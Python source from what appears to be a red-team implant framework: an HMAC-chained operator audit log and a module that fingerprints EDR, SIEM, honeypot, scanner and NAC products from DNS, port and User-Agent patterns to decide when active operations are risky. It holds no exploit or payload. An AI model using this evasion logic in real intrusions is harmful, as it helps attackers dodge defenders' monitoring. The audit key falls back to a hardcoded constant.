self._last_hmac = self._get_last_hmac()
|
||||
|
||||
# Subscribe to events
|
||||
self.bus.subscribe(self._on_module_started, "MODULE_STARTED")
|
||||
self.bus.subscribe(self._on_module_stopped, "MODULE_STOPPED")
|
||||
self.bus.subscribe(self._on_kill_switch, "KILL_SWITCH")
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
|
||||
# Log our own start
|
||||
self.log_action(
|
||||
ACTION_MODULE_START,
|
||||
details="OperatorAudit started",
|
||||
)
|
||||
|
||||
logger.info(
|
||||
"OperatorAudit started — db=%s, chain_length=%d",
|
||||
self._db_path, self._entry_count,
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
# Log our own stop before shutting down
|
||||
self.log_action(
|
||||
ACTION_MODULE_STOP,
|
||||
details="OperatorAudit stopping",
|
||||
)
|
||||
|
||||
self._running = False
|
||||
|
||||
self.bus.unsubscribe(self._on_module_started, "MODULE_STARTED")
|
||||
self.bus.unsubscribe(self._on_module_stopped, "MODULE_STOPPED")
|
||||
self.bus.unsubscribe(self._on_kill_switch, "KILL_SWITCH")
|
||||
|
||||
if self._conn:
|
||||
self._conn.close()
|
||||
self._conn = None
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info(
|
||||
"OperatorAudit stopped — %d entries in chain", self._entry_count
|
||||
)
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"entries": self._entry_count,
|
||||
"chain_valid": self.verify_chain(),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
old_config = json.dumps(self.config, sort_keys=True, default=str)
|
||||
self.config.update(config)
|
||||
new_config = json.dumps(self.config, sort_keys=True, default=str)
|
||||
|
||||
if old_config != new_config:
|
||||
self.log_action(
|
||||
ACTION_CONFIG_CHANGE,
|
||||
details=f"Config updated",
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Event handlers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _on_module_started(self, event) -> None:
|
||||
p = event.payload
|
||||
module_name = p.get("module", event.source_module or "unknown")
|
||||
if module_name == self.name:
|
||||
return # Skip our own start event (already logged)
|
||||
self.log_action(
|
||||
ACTION_MODULE_START,
|
||||
details=f"Module started: {module_name} (pid={p.get('pid', '?')})",
|
||||
)
|
||||
|
||||
def _on_module_stopped(self, event) -> None:
|
||||
p = event.payload
|
||||
module_name = p.get("module", event.source_module or "unknown")
|
||||
if module_name == self.name:
|
||||
return
|
||||
self.log_action(
|
||||
ACTION_MODULE_STOP,
|
||||
details=f"Module stopped: {module_name}",
|
||||
)
|
||||
|
||||
def _on_kill_switch(self, event) -> None:
|
||||
p = event.payload
|
||||
self.log_action(
|
||||
ACTION_KILL_SWITCH,
|
||||
details=f"KILL SWITCH activated: reason={p.get('reason', 'unknown')}",
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Core logging
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def log_action(self, action: str, operator: str = "",
|
||||
details: str = "") -> None:
|
||||
"""Log an operator action with HMAC chain integrity.
|
||||
|
||||
Args:
|
||||
action: Action type (use ACTION_* constants).
|
||||
operator: Operator identifier (SSH key fingerprint, username, etc).
|
||||
details: Free-text description of the action.
|
||||
"""
|
||||
if not self._conn:
|
||||
return
|
||||
|
||||
if not operator:
|
||||
operator = self._detect_operator()
|
||||
|
||||
ts = time.time()
|
||||
|
||||
# Compute HMAC: H(key, previous_hmac | timestamp | action | operator | details)
|
||||
msg = f"{self._last_hmac}|{ts}|{action}|{operator}|{details}"
|
||||
entry_hmac = hmac.new(
|
||||
self._hmac_key, msg.encode(), hashlib.sha256
|
||||
).hexdigest()
|
||||
|
||||
with self._lock:
|
||||
try:
|
||||
self._conn.execute(
|
||||
"""INSERT INTO audit_log
|
||||
(timestamp, action, operator, details, hmac)
|
||||
VALUES (?, ?, ?, ?, ?)""",
|
||||
(ts, action, operator, details, entry_hmac),
|
||||
)
|
||||
self._conn.commit()
|
||||
self._last_hmac = entry_hmac
|
||||
self._entry_count += 1
|
||||
except Exception:
|
||||
logger.exception("Failed to log audit action: %s", action)
|
||||
|
||||
def log_ssh_session(self, remote_ip: str, key_fingerprint: str = "",
|
||||
event: str = "connect") -> None:
|
||||
"""Log an SSH session event."""
|
||||
self.log_action(
|
||||
ACTION_SSH_SESSION,
|
||||
operator=key_fingerprint or remote_ip,
|
||||
details=f"SSH {event} from {remote_ip} "
|
||||
f"(key={key_fingerprint or 'password'})",
|
||||
)
|
||||
|
||||
def log_cli_command(self, command: str, operator: str = "") -> None:
|
||||
"""Log a CLI command execution."""
|
||||
self.log_action(
|
||||
ACTION_CLI_COMMAND,
|
||||
operator=operator,
|
||||
details=f"Command: {command}",
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# HMAC chain
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _derive_machine_key(self) -> bytes:
|
||||
"""Derive HMAC key from machine-specific identifiers."""
|
||||
components = []
|
||||
|
||||
# CPU serial (RPi)
|
||||
try:
|
||||
with open("/proc/cpuinfo", "r") as f:
|
||||
for line in f:
|
||||
if line.startswith("Serial"):
|
||||
components.append(line.strip())
|
||||
break
|
||||
except (IOError, PermissionError):
|
||||
pass
|
||||
|
||||
# Machine ID
|
||||
try:
|
||||
with open("/etc/machine-id", "r") as f:
|
||||
components.append(f.read().strip())
|
||||
except (IOError, PermissionError):
|
||||
pass
|
||||
|
||||
if not components:
|
||||
components.append("bigbrother-default-key")
|
||||
|
||||
combined = "|".join(components)
|
||||
return hashlib.sha256(combined.encode()).digest()
|
||||
|
||||
def _get_last_hmac(self) -> str:
|
||||
"""Get the HMAC of the last entry in the chain."""
|
||||
with self._lock:
|
||||
row = self._conn.execute(
|
||||
"SELECT hmac FROM audit_log ORDER BY id DESC LIMIT 1"
|
||||
).fetchone()
|
||||
|
||||
count_row = self._conn.execute(
|
||||
"SELECT COUNT(*) FROM audit_log"
|
||||
).fetchone()
|
||||
self._entry_count = count_row[0] if count_row else 0
|
||||
|
||||
if row:
|
||||
return row["hmac"]
|
||||
return "" # Genesis — empty for first entry
|
||||
|
||||
def _detect_operator(self) -> str:
|
||||
"""Attempt to detect the current operator identity."""
|
||||
# Check SSH connection
|
||||
ssh_client = os.environ.get("SSH_CLIENT", "")
|
||||
if ssh_client:
|
||||
parts = ssh_client.split()
|
||||
remote_ip = parts[0] if parts else "unknown"
|
||||
|
||||
# Try to get SSH key fingerprint
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["who", "-m"],
|
||||
capture_output=True, timeout=2,
|
||||
)
|
||||
who = result.stdout.decode().strip()
|
||||
if who:
|
||||
return f"ssh:{remote_ip}:{who.split()[0]}"
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return f"ssh:{remote_ip}"
|
||||
|
||||
# Local operator
|
||||
user = os.environ.get("USER", os.environ.get("LOGNAME", "local"))
|
||||
return f"local:{user}"
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Chain verification
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def verify_chain(self) -> bool:
|
||||
"""Verify the entire HMAC chain integrity.
|
||||
|
||||
Returns:
|
||||
True if the chain is valid, False if tampered.
|
||||
"""
|
||||
if not self._conn:
|
||||
return False
|
||||
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"SELECT timestamp, action, operator, details, hmac "
|
||||
"FROM audit_log ORDER BY id ASC"
|
||||
).fetchall()
|
||||
|
||||
if not rows:
|
||||
return True # Empty chain is valid
|
||||
|
||||
prev_hmac = ""
|
||||
for row in rows:
|
||||
ts = row["timestamp"]
|
||||
action = row["action"]
|
||||
operator = row["operator"]
|
||||
details = row["details"]
|
||||
stored_hmac = row["hmac"]
|
||||
|
||||
msg = f"{prev_hmac}|{ts}|{action}|{operator}|{details}"
|
||||
computed = hmac.new(
|
||||
self._hmac_key, msg.encode(), hashlib.sha256
|
||||
).hexdigest()
|
||||
|
||||
if computed != stored_hmac:
|
||||
logger.error(
|
||||
"HMAC chain broken at ts=%.3f action=%s — "
|
||||
"expected %s, got %s",
|
||||
ts, action, computed[:16], stored_hmac[:16],
|
||||
)
|
||||
return False
|
||||
|
||||
prev_hmac = stored_hmac
|
||||
|
||||
return True
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Export
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def export_log(self, since: float = 0, limit: int = 10000) -> list:
|
||||
"""Export audit log entries for engagement reports."""
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT * FROM audit_log
|
||||
WHERE timestamp > ?
|
||||
ORDER BY id ASC LIMIT ?""",
|
||||
(since, limit),
|
||||
).fetchall()
|
||||
|
||||
return [dict(r) for r in rows]
|
||||
|
||||
def export_json(self, since: float = 0) -> str:
|
||||
"""Export audit log as JSON string."""
|
||||
entries = self.export_log(since)
|
||||
return json.dumps(entries, indent=2, default=str)
|
||||
|
||||
def get_summary(self) -> dict:
|
||||
"""Return audit log summary."""
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT action, COUNT(*) FROM audit_log
|
||||
GROUP BY action ORDER BY COUNT(*) DESC"""
|
||||
).fetchall()
|
||||
|
||||
operators = self._conn.execute(
|
||||
"""SELECT DISTINCT operator FROM audit_log
|
||||
WHERE operator != ''"""
|
||||
).fetchall()
|
||||
|
||||
return {
|
||||
"total_entries": self._entry_count,
|
||||
"chain_valid": self.verify_chain(),
|
||||
"by_action": {a: c for a, c in rows},
|
||||
"operators": [r[0] for r in operators],
|
||||
}
|
||||
@@ -0,0 +1,577 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Security posture mapper — detect security infrastructure by traffic patterns.
|
||||
|
||||
Identifies EDR, SIEM, vulnerability scanners, honeypots, NAC, and network
|
||||
monitoring tools by observing DNS queries, HTTP traffic, and port patterns.
|
||||
Gates active module risk assessment — if strong security tooling is detected,
|
||||
active operations should increase caution.
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import sqlite3
|
||||
import threading
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_SCHEMA = """
|
||||
CREATE TABLE IF NOT EXISTS security_tools (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
tool_type TEXT NOT NULL,
|
||||
tool_name TEXT NOT NULL,
|
||||
evidence TEXT NOT NULL,
|
||||
confidence REAL DEFAULT 0.5,
|
||||
target_ip TEXT DEFAULT '',
|
||||
target_hostname TEXT DEFAULT '',
|
||||
first_seen REAL NOT NULL,
|
||||
last_seen REAL NOT NULL,
|
||||
impacts_active_ops INTEGER DEFAULT 1,
|
||||
details TEXT DEFAULT '',
|
||||
UNIQUE(tool_type, tool_name, target_ip)
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_st_type ON security_tools(tool_type);
|
||||
CREATE INDEX IF NOT EXISTS idx_st_name ON security_tools(tool_name);
|
||||
"""
|
||||
|
||||
# -----------------------------------------------------------------------
|
||||
# Detection signatures
|
||||
# -----------------------------------------------------------------------
|
||||
|
||||
# DNS patterns: (regex, tool_type, tool_name, confidence, impacts_active)
|
||||
_DNS_SIGNATURES = [
|
||||
# EDR / Endpoint Protection
|
||||
(re.compile(r"ts01-[a-z0-9]+\.cloudsink\.net$", re.I),
|
||||
"edr", "CrowdStrike Falcon", 0.95, True),
|
||||
(re.compile(r"(lfodown|lfoup)\.crowdstrike\.com$", re.I),
|
||||
"edr", "CrowdStrike Falcon", 0.95, True),
|
||||
(re.compile(r"\.crowdstrike\.com$", re.I),
|
||||
"edr", "CrowdStrike Falcon", 0.9, True),
|
||||
(re.compile(r"[a-z0-9]+\.sentinelone\.net$", re.I),
|
||||
"edr", "SentinelOne", 0.95, True),
|
||||
(re.compile(r"management.*\.sentinelone\.net$", re.I),
|
||||
"edr", "SentinelOne", 0.95, True),
|
||||
(re.compile(r"\.cybereason\.com$", re.I),
|
||||
"edr", "Cybereason", 0.9, True),
|
||||
(re.compile(r"\.carbonblack\.(com|io)$", re.I),
|
||||
"edr", "Carbon Black", 0.9, True),
|
||||
(re.compile(r"\.cb\.carbonblack\.io$", re.I),
|
||||
"edr", "Carbon Black Cloud", 0.95, True),
|
||||
(re.compile(r"(wdcp|wdcpalt)\.microsoft\.com$", re.I),
|
||||
"edr", "Microsoft Defender ATP", 0.85, True),
|
||||
(re.compile(r"\.securitycenter\.windows\.com$", re.I),
|
||||
"edr", "Microsoft Defender ATP", 0.9, True),
|
||||
(re.compile(r"\.endpoint\.security\.microsoft\.com$", re.I),
|
||||
"edr", "Microsoft Defender for Endpoint", 0.95, True),
|
||||
(re.compile(r"\.sophos\.(com|net)$", re.I),
|
||||
"edr", "Sophos", 0.8, True),
|
||||
(re.compile(r"\.cylance\.(com|io)$", re.I),
|
||||
"edr", "Cylance/BlackBerry Protect", 0.85, True),
|
||||
(re.compile(r"\.trellix\.com$", re.I),
|
||||
"edr", "Trellix (McAfee/FireEye)", 0.85, True),
|
||||
(re.compile(r"\.fireeye\.com$", re.I),
|
||||
"edr", "FireEye/Mandiant", 0.85, True),
|
||||
|
||||
# SIEM
|
||||
(re.compile(r"\.splunkcloud\.com$", re.I),
|
||||
"siem", "Splunk Cloud", 0.9, False),
|
||||
(re.compile(r"input.*\.splunkcloud\.com$", re.I),
|
||||
"siem", "Splunk Cloud HEC", 0.95, False),
|
||||
(re.compile(r"\.sumologic\.com$", re.I),
|
||||
"siem", "Sumo Logic", 0.85, False),
|
||||
(re.compile(r"\.logz\.io$", re.I),
|
||||
"siem", "Logz.io", 0.85, False),
|
||||
(re.compile(r"\.elastic-cloud\.com$", re.I),
|
||||
"siem", "Elastic Cloud", 0.85, False),
|
||||
(re.compile(r"\.datadoghq\.com$", re.I),
|
||||
"siem", "Datadog", 0.8, False),
|
||||
|
||||
# Vulnerability Scanners
|
||||
(re.compile(r"(plugins|sensor)\.nessus\.org$", re.I),
|
||||
"vuln_scanner", "Nessus", 0.9, False),
|
||||
(re.compile(r"\.tenable\.(com|io)$", re.I),
|
||||
"vuln_scanner", "Tenable", 0.85, False),
|
||||
(re.compile(r"\.qualys\.com$", re.I),
|
||||
"vuln_scanner", "Qualys", 0.9, False),
|
||||
(re.compile(r"\.rapid7\.com$", re.I),
|
||||
"vuln_scanner", "Rapid7 InsightVM", 0.85, False),
|
||||
|
||||
# Honeypots / Deception
|
||||
(re.compile(r"\.canary\.tools$", re.I),
|
||||
"honeypot", "Thinkst Canary", 0.95, True),
|
||||
(re.compile(r"canarytokens\..*\.com$", re.I),
|
||||
"honeypot", "Canary Tokens", 0.9, True),
|
||||
(re.compile(r"\.illusive-networks\.com$", re.I),
|
||||
"honeypot", "Illusive Networks", 0.85, True),
|
||||
(re.compile(r"\.attivo\.com$", re.I),
|
||||
"honeypot", "Attivo Networks", 0.85, True),
|
||||
|
||||
# NAC
|
||||
(re.compile(r"\.forescout\.com$", re.I),
|
||||
"nac", "Forescout", 0.85, True),
|
||||
(re.compile(r"ise[\w-]*\.(local|internal|corp|lan)$", re.I),
|
||||
"nac", "Cisco ISE", 0.8, True),
|
||||
|
||||
# Threat Intelligence
|
||||
(re.compile(r"\.virustotal\.com$", re.I),
|
||||
"threat_intel", "VirusTotal", 0.7, False),
|
||||
(re.compile(r"\.shodan\.io$", re.I),
|
||||
"threat_intel", "Shodan", 0.7, False),
|
||||
]
|
||||
|
||||
# Port-based signatures: port -> (tool_type, tool_name, confidence, impacts_active)
|
||||
_PORT_SIGNATURES = {
|
||||
8088: ("siem", "Splunk HEC", 0.7, False),
|
||||
8089: ("siem", "Splunk Management", 0.7, False),
|
||||
9997: ("siem", "Splunk Forwarder", 0.75, False),
|
||||
1514: ("siem", "Wazuh Agent", 0.7, False),
|
||||
1515: ("siem", "Wazuh Enrollment", 0.75, False),
|
||||
55000: ("siem", "Wazuh API", 0.8, False),
|
||||
8834: ("vuln_scanner", "Nessus Scanner", 0.85, False),
|
||||
3790: ("vuln_scanner", "Rapid7 Metasploit Pro/Nexpose", 0.75, False),
|
||||
9390: ("vuln_scanner", "OpenVAS/Greenbone", 0.8, False),
|
||||
9392: ("vuln_scanner", "Greenbone GSA", 0.8, False),
|
||||
1812: ("nac", "RADIUS Authentication", 0.6, True),
|
||||
1813: ("nac", "RADIUS Accounting", 0.6, True),
|
||||
3799: ("nac", "RADIUS CoA (Change of Authorization)", 0.7, True),
|
||||
}
|
||||
|
||||
# HTTP User-Agent patterns
|
||||
_UA_SIGNATURES = [
|
||||
(re.compile(r"Nessus", re.I), "vuln_scanner", "Nessus", 0.9),
|
||||
(re.compile(r"Qualys", re.I), "vuln_scanner", "Qualys", 0.9),
|
||||
(re.compile(r"InsightVM|Rapid7", re.I), "vuln_scanner", "Rapid7", 0.85),
|
||||
(re.compile(r"Nikto", re.I), "vuln_scanner", "Nikto", 0.8),
|
||||
(re.compile(r"OpenVAS", re.I), "vuln_scanner", "OpenVAS", 0.85),
|
||||
(re.compile(r"CrowdStrike", re.I), "edr", "CrowdStrike", 0.7),
|
||||
(re.compile(r"Splunk", re.I), "siem", "Splunk", 0.7),
|
||||
]
|
||||
|
||||
# T-Pot honeypot: multiple decoy services on unusual port ranges
|
||||
_TPOT_PORT_CLUSTERS = {
|
||||
# T-Pot maps real honeypots to high ports; seeing many of these is a sign
|
||||
64295, 64297, 64300, # T-Pot management
|
||||
}
|
||||
|
||||
|
||||
class SecurityPosture(BaseModule):
|
||||
"""Map the target network's security tooling and posture."""
|
||||
|
||||
name = "security_posture"
|
||||
module_type = "intel"
|
||||
priority = 100
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._db_path = ""
|
||||
self._conn: Optional[sqlite3.Connection] = None
|
||||
self._lock = threading.Lock()
|
||||
self._scan_thread: Optional[threading.Thread] = None
|
||||
self._detection_count = 0
|
||||
|
||||
# Cache of risk assessment
|
||||
self._risk_level = "unknown" # low, medium, high, critical
|
||||
self._active_ops_safe = True
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||
self._db_path = os.path.join(base_dir, "security_posture.db")
|
||||
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
||||
|
||||
self._conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._conn.row_factory = sqlite3.Row
|
||||
self._conn.executescript(_SCHEMA)
|
||||
|
||||
# Subscribe to host discovery for port-based detection
|
||||
self.bus.subscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self._scan_thread = threading.Thread(
|
||||
target=self._periodic_scan, daemon=True,
|
||||
name="sensor-security-posture",
|
||||
)
|
||||
self._scan_thread.start()
|
||||
|
||||
# Initial risk assessment from any previously stored data
|
||||
self._reassess_risk()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("SecurityPosture started — db=%s", self._db_path)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
self.bus.unsubscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
|
||||
if self._conn:
|
||||
self._conn.close()
|
||||
self._conn = None
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info(
|
||||
"SecurityPosture stopped — %d tools detected, risk=%s",
|
||||
self._detection_count, self._risk_level,
|
||||
)
|
||||
|
||||
def status(self) -> dict:
|
||||
tool_count = 0
|
||||
if self._conn:
|
||||
try:
|
||||
with self._lock:
|
||||
row = self._conn.execute(
|
||||
"SELECT COUNT(*) FROM security_tools"
|
||||
).fetchone()
|
||||
tool_count = row[0] if row else 0
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"detected_tools": tool_count,
|
||||
"risk_level": self._risk_level,
|
||||
"active_ops_safe": self._active_ops_safe,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Detection functions
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def analyze_dns_query(self, query_name: str, client_ip: str = "",
|
||||
resolved_ip: str = "") -> Optional[dict]:
|
||||
"""Analyze a DNS query for security tool signatures."""
|
||||
for pattern, tool_type, tool_name, confidence, impacts in _DNS_SIGNATURES:
|
||||
if pattern.search(query_name):
|
||||
det = self._record_detection(
|
||||
tool_type=tool_type,
|
||||
tool_name=tool_name,
|
||||
evidence=f"DNS: {query_name}",
|
||||
confidence=confidence,
|
||||
target_ip=client_ip,
|
||||
target_hostname=query_name,
|
||||
impacts_active=impacts,
|
||||
details=json.dumps({
|
||||
"query": query_name,
|
||||
"client_ip": client_ip,
|
||||
"resolved_ip": resolved_ip,
|
||||
}),
|
||||
)
|
||||
return det
|
||||
return None
|
||||
|
||||
def analyze_port(self, target_ip: str, port: int,
|
||||
hostname: str = "") -> Optional[dict]:
|
||||
"""Check if a port suggests security tooling."""
|
||||
if port in _PORT_SIGNATURES:
|
||||
tool_type, tool_name, confidence, impacts = _PORT_SIGNATURES[port]
|
||||
return self._record_detection(
|
||||
tool_type=tool_type,
|
||||
tool_name=tool_name,
|
||||
evidence=f"Port {port} open on {target_ip}",
|
||||
confidence=confidence,
|
||||
target_ip=target_ip,
|
||||
target_hostname=hostname,
|
||||
impacts_active=impacts,
|
||||
)
|
||||
|
||||
# T-Pot cluster detection
|
||||
if port in _TPOT_PORT_CLUSTERS:
|
||||
return self._record_detection(
|
||||
tool_type="honeypot",
|
||||
tool_name="T-Pot",
|
||||
evidence=f"T-Pot management port {port} on {target_ip}",
|
||||
confidence=0.8,
|
||||
target_ip=target_ip,
|
||||
target_hostname=hostname,
|
||||
impacts_active=True,
|
||||
)
|
||||
|
||||
return None
|
||||
|
||||
def analyze_user_agent(self, user_agent: str, source_ip: str = "") -> Optional[dict]:
|
||||
"""Check HTTP User-Agent for security scanner signatures."""
|
||||
for pattern, tool_type, tool_name, confidence in _UA_SIGNATURES:
|
||||
if pattern.search(user_agent):
|
||||
return self._record_detection(
|
||||
tool_type=tool_type,
|
||||
tool_name=tool_name,
|
||||
evidence=f"User-Agent: {user_agent[:100]}",
|
||||
confidence=confidence,
|
||||
target_ip=source_ip,
|
||||
impacts_active=False,
|
||||
details=json.dumps({"user_agent": user_agent}),
|
||||
)
|
||||
return None
|
||||
|
||||
def analyze_radius_traffic(self, src_ip: str, dst_ip: str,
|
||||
dst_port: int) -> Optional[dict]:
|
||||
"""Detect 802.1X/RADIUS NAC infrastructure."""
|
||||
if dst_port in (1812, 1813, 3799):
|
||||
return self._record_detection(
|
||||
tool_type="nac",
|
||||
tool_name="RADIUS/802.1X",
|
||||
evidence=f"RADIUS traffic {src_ip} -> {dst_ip}:{dst_port}",
|
||||
confidence=0.8,
|
||||
target_ip=dst_ip,
|
||||
impacts_active=True,
|
||||
details=json.dumps({
|
||||
"src": src_ip, "dst": dst_ip, "port": dst_port
|
||||
}),
|
||||
)
|
||||
return None
|
||||
|
||||
def _on_host_discovered(self, event) -> None:
|
||||
"""Check discovered host ports for security tools."""
|
||||
p = event.payload
|
||||
ip = p.get("ip", "")
|
||||
hostname = p.get("hostname", "")
|
||||
ports = p.get("open_ports", [])
|
||||
|
||||
for port in ports:
|
||||
self.analyze_port(ip, port, hostname)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Database operations
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _record_detection(self, tool_type: str, tool_name: str,
|
||||
evidence: str, confidence: float,
|
||||
target_ip: str = "", target_hostname: str = "",
|
||||
impacts_active: bool = True,
|
||||
details: str = "") -> dict:
|
||||
"""Record a security tool detection."""
|
||||
now = time.time()
|
||||
detection = {
|
||||
"tool_type": tool_type,
|
||||
"tool_name": tool_name,
|
||||
"evidence": evidence,
|
||||
"confidence": confidence,
|
||||
"target_ip": target_ip,
|
||||
"impacts_active_ops": impacts_active,
|
||||
}
|
||||
|
||||
with self._lock:
|
||||
try:
|
||||
self._conn.execute(
|
||||
"""INSERT INTO security_tools
|
||||
(tool_type, tool_name, evidence, confidence,
|
||||
target_ip, target_hostname, first_seen, last_seen,
|
||||
impacts_active_ops, details)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(tool_type, tool_name, target_ip) DO UPDATE SET
|
||||
last_seen = excluded.last_seen,
|
||||
confidence = MAX(security_tools.confidence, excluded.confidence),
|
||||
evidence = security_tools.evidence || '; ' || excluded.evidence
|
||||
""",
|
||||
(tool_type, tool_name, evidence, confidence,
|
||||
target_ip, target_hostname, now, now,
|
||||
1 if impacts_active else 0, details),
|
||||
)
|
||||
self._conn.commit()
|
||||
self._detection_count += 1
|
||||
except Exception:
|
||||
logger.exception("Failed to record security tool detection")
|
||||
return detection
|
||||
|
||||
logger.warning(
|
||||
"Security tool detected: %s (%s) at %s — confidence=%.2f, "
|
||||
"impacts_active=%s",
|
||||
tool_name, tool_type, target_ip or "unknown", confidence,
|
||||
impacts_active,
|
||||
)
|
||||
|
||||
# Reassess risk after each new detection
|
||||
self._reassess_risk()
|
||||
|
||||
return detection
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Risk assessment
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _reassess_risk(self) -> None:
|
||||
"""Recalculate overall security risk level based on detected tools."""
|
||||
if not self._conn:
|
||||
return
|
||||
|
||||
with self._lock:
|
||||
try:
|
||||
tools = self._conn.execute(
|
||||
"SELECT tool_type, tool_name, confidence, impacts_active_ops "
|
||||
"FROM security_tools"
|
||||
).fetchall()
|
||||
except Exception:
|
||||
return
|
||||
|
||||
if not tools:
|
||||
self._risk_level = "low"
|
||||
self._active_ops_safe = True
|
||||
return
|
||||
|
||||
has_edr = any(t["tool_type"] == "edr" and t["confidence"] >= 0.7
|
||||
for t in tools)
|
||||
has_siem = any(t["tool_type"] == "siem" and t["confidence"] >= 0.7
|
||||
for t in tools)
|
||||
has_nac = any(t["tool_type"] == "nac" and t["confidence"] >= 0.7
|
||||
for t in tools)
|
||||
has_honeypot = any(t["tool_type"] == "honeypot" and t["confidence"] >= 0.7
|
||||
for t in tools)
|
||||
has_vuln_scanner = any(t["tool_type"] == "vuln_scanner"
|
||||
and t["confidence"] >= 0.7 for t in tools)
|
||||
|
||||
# Score-based risk assessment
|
||||
score = 0
|
||||
if has_edr:
|
||||
score += 40
|
||||
if has_siem:
|
||||
score += 20
|
||||
if has_nac:
|
||||
score += 25
|
||||
if has_honeypot:
|
||||
score += 30
|
||||
if has_vuln_scanner:
|
||||
score += 10
|
||||
|
||||
if score >= 60:
|
||||
self._risk_level = "critical"
|
||||
self._active_ops_safe = False
|
||||
elif score >= 40:
|
||||
self._risk_level = "high"
|
||||
self._active_ops_safe = False
|
||||
elif score >= 20:
|
||||
self._risk_level = "medium"
|
||||
self._active_ops_safe = True # with caution
|
||||
else:
|
||||
self._risk_level = "low"
|
||||
self._active_ops_safe = True
|
||||
|
||||
# Persist for other modules
|
||||
self.state.set(self.name, "risk_level", self._risk_level)
|
||||
self.state.set(self.name, "active_ops_safe", json.dumps(self._active_ops_safe))
|
||||
self.state.set(self.name, "has_edr", json.dumps(has_edr))
|
||||
self.state.set(self.name, "has_siem", json.dumps(has_siem))
|
||||
self.state.set(self.name, "has_nac", json.dumps(has_nac))
|
||||
self.state.set(self.name, "has_honeypot", json.dumps(has_honeypot))
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Periodic scanning
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _periodic_scan(self) -> None:
|
||||
"""Pull DNS data from other modules and analyze."""
|
||||
interval = self.config.get("posture_scan_interval", 120)
|
||||
while self._running:
|
||||
time.sleep(interval)
|
||||
try:
|
||||
self._scan_dns_data()
|
||||
self._reassess_risk()
|
||||
except Exception:
|
||||
logger.exception("Security posture scan failed")
|
||||
|
||||
def _scan_dns_data(self) -> None:
|
||||
"""Pull recent DNS queries from dns_logger and analyze for security tools."""
|
||||
last_ts = self.state.get(self.name, "dns_scan_last_ts")
|
||||
last_ts = float(last_ts) if last_ts else 0
|
||||
|
||||
dns_json = self.state.get("dns_logger", "recent_queries")
|
||||
if not dns_json:
|
||||
return
|
||||
|
||||
try:
|
||||
queries = json.loads(dns_json)
|
||||
max_ts = last_ts
|
||||
for q in queries:
|
||||
ts = q.get("timestamp", 0)
|
||||
if ts <= last_ts:
|
||||
continue
|
||||
self.analyze_dns_query(
|
||||
query_name=q.get("query_name", ""),
|
||||
client_ip=q.get("client_ip", ""),
|
||||
resolved_ip=q.get("resolved_ip", ""),
|
||||
)
|
||||
max_ts = max(max_ts, ts)
|
||||
|
||||
self.state.set(self.name, "dns_scan_last_ts", str(max_ts))
|
||||
